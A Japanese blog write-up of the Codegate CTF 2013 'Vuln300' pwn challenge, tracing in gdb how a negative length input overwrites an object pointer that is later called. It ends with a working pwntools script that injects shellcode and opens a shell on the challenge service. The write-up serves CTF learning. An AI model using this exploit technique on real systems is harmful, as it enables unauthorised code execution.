読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Codegate CTF Preliminary 2013 Vuln300

pwn list pwn list baby

32bit-ELFのxinetd型問題だった。C++で作られた問題のようで、オブジェクトを生成していろいろ操作するような問題だった。とても知見を得ることができた問題だった。
さて、さっそく実行してみよう。

shima@chino:~/workspace/pwn_list_baby/vuln300$ ./vuln300 
Input Num : -1
Input Msg : AAAA
Segmentation fault (コアダンプ)
shima@chino:~/workspace/pwn_list_baby/vuln300$ ./vuln300 
Input Num : 1
Input Msg : AAA
Reply : 
AAAA

shima@chino:~/workspace/pwn_list_baby/vuln300$ ./vuln300 
Input Num : 4
Input Msg : %08x
Reply : 
ABCD%08x 

実行したら、まず最初に文字の長さを入力して、文字を入力するような形になっていた。Msgに何も入力されていなければABCDの順番で長さ分の文字列が出力されるような形になっていた。負数が怪しそうなので、長さを入力する部分を中心にいろいろ探してみることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled
gdb-peda$ 


[-------------------------------------code-------------------------------------]
   0x80488b5:   mov    ecx,edx
   0x80488b7:   sub    ecx,eax
   0x80488b9:   mov    eax,ecx
=> 0x80488bb:   mov    edx,DWORD PTR [ebp+0x8]
   0x80488be:   lea    ecx,[edx+0x4]
   0x80488c1:   mov    edx,DWORD PTR [ebp+0x10]
   0x80488c4:   lea    edx,[ecx+edx*1]
   0x80488c7:   mov    DWORD PTR [esp+0x8],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0004| 0xffffd080 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0008| 0xffffd084 --> 0x0 
0012| 0xffffd088 --> 0xffffd0a8 --> 0x0 
0016| 0xffffd08c --> 0x8048825 (mov    eax,DWORD PTR [ebp-0xc])
0020| 0xffffd090 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0024| 0xffffd094 --> 0x80491e0 ("AAAABBBBCCCC\n")
0028| 0xffffd098 --> 0xfffffffc 
[------------------------------------------------------------------------------]

まず、strcpyかstrncpyかに入る処理で1023文字を超えているようであればstrcpyにいき、それ以下であればstrncpyに行くような処理をしている。この二つのライブラリに行く前にどうやら、ABCD…の順番に出力するような処理を入力した長さ分行っている。(マイナス時もプラス時と同様)
ここで、注目すべき場所はstrncpyの処理のほうである。どうやら、オブジェクトのアドレスををedxレジスタに入れて操作するのだが、edx+4のアドレスにユーザーが入力した文字列を入れるが、その前にどうやら、ユーザーが入力する文字列の長さを足しているようだ。詳しく見てみよう

=> 0x80488bb:    mov    edx,DWORD PTR [ebp+0x8]   こ↑こ↓でオブジェクト(obj)のアドレスをedxレジスタに移動
   0x80488be:   lea    ecx,[edx+0x4]             こ↑こ↓でユーザーが入力した文字列を格納するアドレスをecxレジスタに移動(obj+4アドレス)
   0x80488c1:   mov    edx,DWORD PTR [ebp+0x10] こ↑こ↓でユーザーが入力した文字列の長さをedxレジスタに移動
   0x80488c4:   lea    edx,[ecx+edx*1]      こ↑こ↓でobj+4アドレスにユーザーが入力した文字列の長さを足したをedxに移動(strncpyの第一引数)

おわかりいただけただろうか(迫真)こ↑こ↓でobjアドレスの中身を任意に書き換えることができる。さらに・・・

   0x8048825:    mov    eax,DWORD PTR [ebp-0xc]
   0x8048828:   mov    eax,DWORD PTR [eax]
=> 0x804882a:   mov    edx,DWORD PTR [eax]
   0x804882c:   mov    eax,DWORD PTR [ebp-0xc]
   0x804882f:   mov    DWORD PTR [esp],eax
   0x8048832:   call   edx

objアドレスに格納されている中身がedxに格納されてcallされるのである。つまりobjアドレスに任意のアドレスを格納して、そこにjmpすることができるのである。今回はshellcodeのアドレスをobjに格納させてshellcodeを起動させるようにする。
こーどべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./vuln300')
HOST = 'localhost'
PORT = 6666
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./vuln300')
        print "[+] connect to local\n"

shellcode = asm(shellcraft.sh())
payload = ''
payload += p32(0x80491e4)
payload += p32(0x80491e8)
payload += shellcode
payload += '\n'

conn.recvuntil('Input Num : ')
conn.send('-4\n')
conn.recvuntil('Input Msg : ')
conn.send(payload)
conn.interactive()

callした先はEIPになるのでアドレスが入っていなければセグフォを起こす。そこで一旦シェルコードが格納されているアドレスに飛んでからシェルコードを起動させるようにした。また、今回は第一引数もあるがこれはshellcodeが格納されているアドレスで代用している。アドレス自体は今回は固定になっていた。 [総評] object操作の入門にはすごく問題